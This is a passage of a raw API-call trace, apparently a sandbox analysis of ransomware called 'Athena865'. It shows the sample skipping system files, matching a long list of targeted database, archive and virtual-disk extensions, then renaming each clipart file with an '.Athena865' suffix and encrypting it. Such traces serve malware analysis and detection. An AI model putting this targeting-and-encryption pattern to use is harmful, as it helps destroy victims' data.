(lpString1="PE00049_.WMF", lpString2="boot") returned 1 [0132.734] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="ids.txt") returned 1 [0132.734] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="ntuser.dat") returned 1 [0132.734] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="perflogs") returned -1 [0132.734] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="MSBuild") returned 1 [0132.734] lstrlenW (lpString="PE00049_.WMF") returned 12 [0132.734] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00049_.WMF" | out: lpString1="PE00049_.WMF") returned="PE00049_.WMF" [0132.734] lstrlenW (lpString="PE00049_.WMF") returned 12 [0132.734] lstrlenW (lpString="Athena865") returned 9 [0132.735] lstrcmpiW (lpString1="0049_.WMF", lpString2="Athena865") returned -1 [0132.735] lstrlenW (lpString=".dll") returned 4 [0132.735] lstrcmpiW (lpString1="PE00049_.WMF", lpString2=".dll") returned 1 [0132.735] lstrlenW (lpString=".lnk") returned 4 [0132.735] lstrcmpiW (lpString1="PE00049_.WMF", lpString2=".lnk") returned 1 [0132.735] lstrlenW (lpString=".ini") returned 4 [0132.735] lstrcmpiW (lpString1="PE00049_.WMF", lpString2=".ini") returned 1 [0132.735] lstrlenW (lpString=".sys") returned 4 [0132.735] lstrcmpiW (lpString1="PE00049_.WMF", lpString2=".sys") returned 1 [0132.735] lstrlenW (lpString="PE00049_.WMF") returned 12 [0132.735] lstrlenW (lpString="bak") returned 3 [0132.735] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0132.735] lstrlenW (lpString="ba_") returned 3 [0132.735] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0132.735] lstrlenW (lpString="dbb") returned 3 [0132.735] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0132.735] lstrlenW (lpString="vmdk") returned 4 [0132.735] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0132.735] lstrlenW (lpString="rar") returned 3 [0132.735] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0132.735] lstrlenW (lpString="zip") returned 3 [0132.735] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0132.735] lstrlenW (lpString="tgz") returned 3 [0132.735] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0132.735] lstrlenW (lpString="vbox") returned 4 [0132.735] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0132.735] lstrlenW (lpString="vdi") returned 3 [0132.735] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0132.735] lstrlenW (lpString="vhd") returned 3 [0132.735] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0132.736] lstrlenW (lpString="vhdx") returned 4 [0132.736] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0132.736] lstrlenW (lpString="avhd") returned 4 [0132.736] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0132.736] lstrlenW (lpString="db") returned 2 [0132.736] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0132.736] lstrlenW (lpString="db2") returned 3 [0132.736] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0132.736] lstrlenW (lpString="db3") returned 3 [0132.736] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0132.736] lstrlenW (lpString="dbf") returned 3 [0132.736] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0132.736] lstrlenW (lpString="mdf") returned 3 [0132.736] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0132.736] lstrlenW (lpString="mdb") returned 3 [0132.736] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0132.736] lstrlenW (lpString="sql") returned 3 [0132.736] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0132.736] lstrlenW (lpString="sqlite") returned 6 [0132.736] lstrcmpiW (lpString1="9_.WMF", lpString2="sqlite") returned -1 [0132.736] lstrlenW (lpString="sqlite3") returned 7 [0132.736] lstrcmpiW (lpString1="49_.WMF", lpString2="sqlite3") returned -1 [0132.736] lstrlenW (lpString="sqlitedb") returned 8 [0132.736] lstrcmpiW (lpString1="049_.WMF", lpString2="sqlitedb") returned -1 [0132.736] lstrlenW (lpString="xml") returned 3 [0132.736] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0132.736] lstrlenW (lpString="$er") returned 3 [0132.736] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0132.736] lstrlenW (lpString="4dd") returned 3 [0132.736] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0132.737] lstrlenW (lpString="4dl") returned 3 [0132.737] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0132.737] lstrlenW (lpString="^^^") returned 3 [0132.737] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0132.737] lstrlenW (lpString="abs") returned 3 [0132.737] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0132.737] lstrlenW (lpString="abx") returned 3 [0132.737] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0132.737] lstrlenW (lpString="accdb") returned 5 [0132.737] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0132.737] lstrlenW (lpString="accdc") returned 5 [0132.737] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0132.737] lstrlenW (lpString="accde") returned 5 [0132.737] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0132.737] lstrlenW (lpString="accdr") returned 5 [0132.737] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0132.737] lstrlenW (lpString="accdt") returned 5 [0132.737] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0132.737] lstrlenW (lpString="accdw") returned 5 [0132.737] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0132.737] lstrlenW (lpString="accft") returned 5 [0132.737] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0132.737] lstrlenW (lpString="adb") returned 3 [0132.737] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.737] lstrlenW (lpString="adb") returned 3 [0132.737] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.737] lstrlenW (lpString="ade") returned 3 [0132.737] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0132.737] lstrlenW (lpString="adf") returned 3 [0132.737] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0132.738] lstrlenW (lpString="adn") returned 3 [0132.738] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0132.738] lstrlenW (lpString="adp") returned 3 [0132.738] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0132.738] lstrlenW (lpString="alf") returned 3 [0132.738] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0132.738] lstrlenW (lpString="ask") returned 3 [0132.738] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0132.738] lstrlenW (lpString="btr") returned 3 [0132.738] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0132.738] lstrlenW (lpString="cat") returned 3 [0132.738] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0132.738] lstrlenW (lpString="cdb") returned 3 [0132.738] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0132.738] lstrlenW (lpString="ckp") returned 3 [0132.738] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0132.738] lstrlenW (lpString="cma") returned 3 [0132.738] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0132.738] lstrlenW (lpString="cpd") returned 3 [0132.738] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0132.738] lstrlenW (lpString="dacpac") returned 6 [0132.738] lstrcmpiW (lpString1="9_.WMF", lpString2="dacpac") returned -1 [0132.738] lstrlenW (lpString="dad") returned 3 [0132.738] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0132.738] lstrlenW (lpString="dadiagrams") returned 10 [0132.738] lstrcmpiW (lpString1="00049_.WMF", lpString2="dadiagrams") returned -1 [0132.738] lstrlenW (lpString="daschema") returned 8 [0132.738] lstrcmpiW (lpString1="049_.WMF", lpString2="daschema") returned -1 [0132.738] lstrlenW (lpString="db-journal") returned 10 [0132.739] lstrcmpiW (lpString1="00049_.WMF", lpString2="db-journal") returned -1 [0132.739] lstrlenW (lpString="db-shm") returned 6 [0132.739] lstrcmpiW (lpString1="9_.WMF", lpString2="db-shm") returned -1 [0132.739] lstrlenW (lpString="db-wal") returned 6 [0132.739] lstrcmpiW (lpString1="9_.WMF", lpString2="db-wal") returned -1 [0132.739] lstrlenW (lpString="dbc") returned 3 [0132.739] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0132.739] lstrlenW (lpString="dbs") returned 3 [0132.739] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0132.739] lstrlenW (lpString="dbt") returned 3 [0132.739] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0132.739] lstrlenW (lpString="dbv") returned 3 [0132.739] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0132.739] lstrlenW (lpString="dbx") returned 3 [0132.739] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0132.739] lstrlenW (lpString="dcb") returned 3 [0132.739] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0132.739] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0132.739] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.Athena865") returned 73 [0132.740] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.741] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16448) returned 1 [0132.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.741] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.742] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.742] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.742] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4340, lpName=0x0) returned 0x154 [0132.744] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4340) returned 0x100000 [0132.745] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.746] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.746] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.747] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.747] CloseHandle (hObject=0x154) returned 1 [0132.747] CloseHandle (hObject=0x17c) returned 1 [0132.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.747] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e334c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e334c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4d18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00050_.WMF", cAlternateFileName="")) returned 1 [0132.747] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2=".") returned 1 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="..") returned 1 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="windows") returned -1 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="bootmgr") returned 1 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="temp") returned -1 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="pagefile.sys") returned 1 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="boot") returned 1 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="ids.txt") returned 1 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="ntuser.dat") returned 1 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="perflogs") returned -1 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="MSBuild") returned 1 [0132.748] lstrlenW (lpString="PE00050_.WMF") returned 12 [0132.748] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00050_.WMF" | out: lpString1="PE00050_.WMF") returned="PE00050_.WMF" [0132.748] lstrlenW (lpString="PE00050_.WMF") returned 12 [0132.748] lstrlenW (lpString="Athena865") returned 9 [0132.748] lstrcmpiW (lpString1="0050_.WMF", lpString2="Athena865") returned -1 [0132.748] lstrlenW (lpString=".dll") returned 4 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2=".dll") returned 1 [0132.748] lstrlenW (lpString=".lnk") returned 4 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2=".lnk") returned 1 [0132.748] lstrlenW (lpString=".ini") returned 4 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2=".ini") returned 1 [0132.748] lstrlenW (lpString=".sys") returned 4 [0132.748] lstrcmpiW (lpString1="PE00050_.WMF", lpString2=".sys") returned 1 [0132.748] lstrlenW (lpString="PE00050_.WMF") returned 12 [0132.749] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.Athena865") returned 73 [0132.749] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.750] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19736) returned 1 [0132.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.750] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.751] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.751] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.751] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5020, lpName=0x0) returned 0x154 [0132.753] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5020) returned 0x100000 [0132.754] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.755] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.755] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.756] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.756] CloseHandle (hObject=0x154) returned 1 [0132.756] CloseHandle (hObject=0x17c) returned 1 [0132.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.756] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d021f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d021f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x47ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00052_.WMF", cAlternateFileName="")) returned 1 [0132.756] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.756] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.756] lstrcmpiW (lpString1="PE00052_.WMF", lpString2=".") returned 1 [0132.756] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="..") returned 1 [0132.756] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="windows") returned -1 [0132.756] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="bootmgr") returned 1 [0132.756] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="temp") returned -1 [0132.757] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="pagefile.sys") returned 1 [0132.757] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="boot") returned 1 [0132.757] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="ids.txt") returned 1 [0132.757] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="ntuser.dat") returned 1 [0132.757] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="perflogs") returned -1 [0132.757] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="MSBuild") returned 1 [0132.757] lstrlenW (lpString="PE00052_.WMF") returned 12 [0132.757] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00052_.WMF" | out: lpString1="PE00052_.WMF") returned="PE00052_.WMF" [0132.757] lstrlenW (lpString="PE00052_.WMF") returned 12 [0132.757] lstrlenW (lpString="Athena865") returned 9 [0132.757] lstrcmpiW (lpString1="0052_.WMF", lpString2="Athena865") returned -1 [0132.757] lstrlenW (lpString=".dll") returned 4 [0132.757] lstrcmpiW (lpString1="PE00052_.WMF", lpString2=".dll") returned 1 [0132.757] lstrlenW (lpString=".lnk") returned 4 [0132.757] lstrcmpiW (lpString1="PE00052_.WMF", lpString2=".lnk") returned 1 [0132.757] lstrlenW (lpString=".ini") returned 4 [0132.757] lstrcmpiW (lpString1="PE00052_.WMF", lpString2=".ini") returned 1 [0132.757] lstrlenW (lpString=".sys") returned 4 [0132.757] lstrcmpiW (lpString1="PE00052_.WMF", lpString2=".sys") returned 1 [0132.757] lstrlenW (lpString="PE00052_.WMF") returned 12 [0132.757] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.Athena865") returned 73 [0132.757] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.759] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18412) returned 1 [0132.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.759] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.760] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.760] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.760] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4af0, lpName=0x0) returned 0x154 [0132.761] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4af0) returned 0x100000 [0132.763] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.763] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.763] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.764] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.764] CloseHandle (hObject=0x154) returned 1 [0132.764] CloseHandle (hObject=0x17c) returned 1 [0132.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.765] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00231_.WMF", 